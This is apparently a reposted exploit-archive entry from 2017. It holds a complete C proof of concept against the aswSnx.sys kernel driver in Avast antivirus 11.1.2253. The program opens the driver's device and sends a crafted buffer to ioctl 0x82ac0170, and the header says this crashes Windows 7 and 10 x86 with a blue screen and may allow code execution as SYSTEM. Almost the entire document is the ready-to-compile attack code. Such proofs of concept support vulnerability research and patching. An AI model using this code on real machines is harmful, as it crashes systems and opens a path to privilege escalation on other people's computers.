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Avast aswSnx.sys Kernel Driver 11.1.2253 - Memory Corruption Privilege Escalatio
来源:https://github.com/bee13oy 作者:bee13oy 发布时间:2017-06-16  
/**
* Author: bee13oy
* BSoD on Windows 7 x86 / Windows 10 x86  + Avast Premier / Avast Free Antivirus (11.1.2253)
* Source: https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Avast/aswSnx_BSoD2(ZDI-16-681)
*
* There is a Memory Corruption Vulnerability in aswSnx.sys when DeviceIoControl API is called with ioctl
* number 0x82ac0170, and An attacker may leverage this vulnerability to execute arbitrary code in the
* context of SYSTEM.
**/
 
#include <Windows.h>
 
void BSoD(const char* szDeviceName)
{
    HANDLE hDevice = CreateFileA(szDeviceName,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
 
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        DWORD nbBytes = 0;
        CHAR bufInput[0x8+1] = "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a";
        CHAR bufOuput[0x8+1] = "";
        DeviceIoControl(hDevice,
            0x82ac0170,
            bufInput,
            0x00000008,
            bufOuput,
            0x00000008,
            &nbBytes,
            NULL
            );
    }
}
 
int _tmain(int argc, _TCHAR* argv[])
{
    BSoD("\\\\.\\aswSnx");
 
    return 0;
}
 
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